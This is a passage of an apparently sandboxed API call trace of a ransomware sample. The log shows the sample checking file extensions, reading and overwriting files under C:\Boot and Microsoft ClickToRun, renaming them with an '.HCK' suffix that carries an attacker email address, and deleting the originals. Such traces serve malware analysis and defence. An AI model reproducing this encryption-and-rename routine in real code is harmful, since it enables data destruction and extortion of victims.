lstrlenW (lpString=".7z") returned 3 [0152.584] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0152.584] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.584] lstrlenW (lpString=".dbf") returned 4 [0152.584] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0152.584] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.584] lstrlenW (lpString=".1cd") returned 4 [0152.584] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0152.584] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.584] lstrlenW (lpString=".jpg") returned 4 [0152.584] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0152.584] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0152.584] lstrlenW (lpString="bootvhd.dll") returned 11 [0152.584] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0152.584] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=99744) returned 1 [0152.584] CloseHandle (hObject=0x2ec) returned 1 [0152.584] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0152.584] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0152.584] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.584] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0152.585] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0152.585] lstrlenW (lpString=".doc") returned 4 [0152.585] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0152.585] lstrlenW (lpString=".docx") returned 5 [0152.585] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0152.585] lstrlenW (lpString=".pdf") returned 4 [0152.585] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0152.585] lstrlenW (lpString=".xls") returned 4 [0152.585] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0152.585] lstrlenW (lpString=".xlsx") returned 5 [0152.585] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0152.585] lstrlenW (lpString=".ppt") returned 4 [0152.585] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0152.585] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0152.585] lstrlenW (lpString=".zip") returned 4 [0152.585] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0152.585] lstrlenW (lpString=".rar") returned 4 [0152.585] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0152.585] lstrlenW (lpString=".bz2") returned 4 [0152.585] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0152.585] lstrlenW (lpString=".7z") returned 3 [0152.585] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0152.585] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0152.585] lstrlenW (lpString=".dbf") returned 4 [0152.585] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0153.371] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0153.375] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0153.378] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0153.381] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0159.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0159.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0159.754] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc64 | out: lpNewFilePointer=0x0) returned 1 [0159.754] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0159.754] ReadFile (in: hFile=0x388, lpBuffer=0x3902058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3902058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0159.756] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xac648, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0159.756] ReadFile (in: hFile=0x388, lpBuffer=0x3942058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3942058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0159.759] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d4fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0159.759] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1c52d8, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0159.760] ReadFile (in: hFile=0x388, lpBuffer=0x3982058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3982058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.265] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.265] WriteFile (in: hFile=0x388, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2d4fca8, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fca8*=0xc0112, lpOverlapped=0x0) returned 1 [0160.275] SetEndOfFile (hFile=0x388) returned 1 [0160.564] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e46038 [0160.584] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0160.584] WriteFile (in: hFile=0x388, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0160.586] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xac648, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0160.586] WriteFile (in: hFile=0x388, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0160.588] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1c52d8, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0160.588] WriteFile (in: hFile=0x388, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0160.589] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e46038 | out: hHeap=0x6b0000) returned 1 [0160.589] CloseHandle (hObject=0x388) returned 1 [0161.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0161.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.091] lstrlenW (lpString=".doc") returned 4 [0161.091] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.091] lstrlenW (lpString=".docx") returned 5 [0161.091] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0161.091] lstrlenW (lpString=".pdf") returned 4 [0161.091] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.091] lstrlenW (lpString=".xls") returned 4 [0161.092] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.092] lstrlenW (lpString=".xlsx") returned 5 [0161.092] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0161.092] lstrlenW (lpString=".ppt") returned 4 [0161.092] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.092] lstrlenW (lpString=".zip") returned 4 [0161.092] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.092] lstrlenW (lpString=".rar") returned 4 [0161.092] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.092] lstrlenW (lpString=".bz2") returned 4 [0161.092] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.092] lstrlenW (lpString=".7z") returned 3 [0161.092] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.092] lstrlenW (lpString=".dbf") returned 4 [0161.092] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.092] lstrlenW (lpString=".1cd") returned 4 [0161.092] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.092] lstrlenW (lpString=".jpg") returned 4 [0161.092] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.092] lstrlenW (lpString=".doc") returned 4 [0161.092] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.092] lstrlenW (lpString=".docx") returned 5 [0161.092] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0161.092] lstrlenW (lpString=".pdf") returned 4 [0161.092] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.092] lstrlenW (lpString=".xls") returned 4 [0161.092] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.092] lstrlenW (lpString=".xlsx") returned 5 [0161.092] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0161.092] lstrlenW (lpString=".ppt") returned 4 [0161.092] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.092] lstrlenW (lpString=".zip") returned 4 [0161.092] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.092] lstrlenW (lpString=".rar") returned 4 [0161.092] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.092] lstrlenW (lpString=".bz2") returned 4 [0161.092] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.092] lstrlenW (lpString=".7z") returned 3 [0161.092] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.093] lstrlenW (lpString=".dbf") returned 4 [0161.093] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.093] lstrlenW (lpString=".1cd") returned 4 [0161.093] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0161.093] lstrlenW (lpString=".jpg") returned 4 [0161.093] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.093] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0161.093] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25 [0161.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.093] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=567512) returned 1 [0161.093] CloseHandle (hObject=0x388) returned 1 [0161.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0161.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.093] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.094] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0161.094] GetLastError () returned 0x0 [0161.094] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x8a8d8, lpOverlapped=0x0) returned 1 [0161.104] WriteFile (in: hFile=0x3ac, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x8a8e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x8a8e0, lpOverlapped=0x0) returned 1 [0161.111] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.111] WriteFile (in: hFile=0x3ac, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x106, lpOverlapped=0x0) returned 1 [0161.111] SetEndOfFile (hFile=0x3ac) returned 1 [0161.111] CloseHandle (hObject=0x3ac) returned 1 [0161.414] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.414] SetEndOfFile (hFile=0x388) returned 1 [0161.418] CloseHandle (hObject=0x388) returned 1 [0161.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0161.418] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 1 [0161.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.419] lstrlenW (lpString=".doc") returned 4 [0161.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.419] lstrlenW (lpString=".docx") returned 5 [0161.419] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0161.419] lstrlenW (lpString=".pdf") returned 4 [0161.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.419] lstrlenW (lpString=".xls") returned 4 [0161.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.419] lstrlenW (lpString=".xlsx") returned 5 [0161.419] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0161.419] lstrlenW (lpString=".ppt") returned 4 [0161.419] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.419] lstrlenW (lpString=".zip") returned 4 [0161.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.419] lstrlenW (lpString=".rar") returned 4 [0161.419] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.419] lstrlenW (lpString=".bz2") returned 4 [0161.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.419] lstrlenW (lpString=".7z") returned 3 [0161.419] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.419] lstrlenW (lpString=".dbf") returned 4 [0161.419] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.419] lstrlenW (lpString=".1cd") returned 4 [0161.419] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.419] lstrlenW (lpString=".jpg") returned 4 [0161.419] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.419] lstrlenW (lpString=".doc") returned 4 [0161.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.419] lstrlenW (lpString=".docx") returned 5 [0161.419] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0161.419] lstrlenW (lpString=".pdf") returned 4 [0161.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.419] lstrlenW (lpString=".xls") returned 4 [0161.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.419] lstrlenW (lpString=".xlsx") returned 5 [0161.419] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0161.419] lstrlenW (lpString=".ppt") returned 4 [0161.419] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.419] lstrlenW (lpString=".zip") returned 4 [0161.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.420] lstrlenW (lpString=".rar") returned 4 [0161.420] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.420] lstrlenW (lpString=".bz2") returned 4 [0161.420] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.420] lstrlenW (lpString=".7z") returned 3 [0161.420] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.420] lstrlenW (lpString=".dbf") returned 4 [0161.420] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.420] lstrlenW (lpString=".1cd") returned 4 [0161.420] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0161.420] lstrlenW (lpString=".jpg") returned 4 [0161.420] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.420] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0161.420] lstrlenW (lpString="AppVOrchestration.dll") returned 21 [0161.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.420] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=947928) returned 1 [0161.420] CloseHandle (hObject=0x388) returned 1 [0161.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0161.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.421] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.421] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0161.421] GetLastError () returned 0x0 [0161.421] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0xe76d8, lpOverlapped=0x0) returned 1 [0161.438] WriteFile (in: hFile=0x3ac, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xe76e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe76e0, lpOverlapped=0x0) returned 1 [0161.894] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.894] WriteFile (in: hFile=0x3ac, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfe, lpOverlapped=0x0) returned 1 [0161.895] SetEndOfFile (hFile=0x3ac) returned 1 [0161.895] CloseHandle (hObject=0x3ac) returned 1 [0161.907] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.907] SetEndOfFile (hFile=0x388) returned 1 [0161.914] CloseHandle (hObject=0x388) returned 1 [0161.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 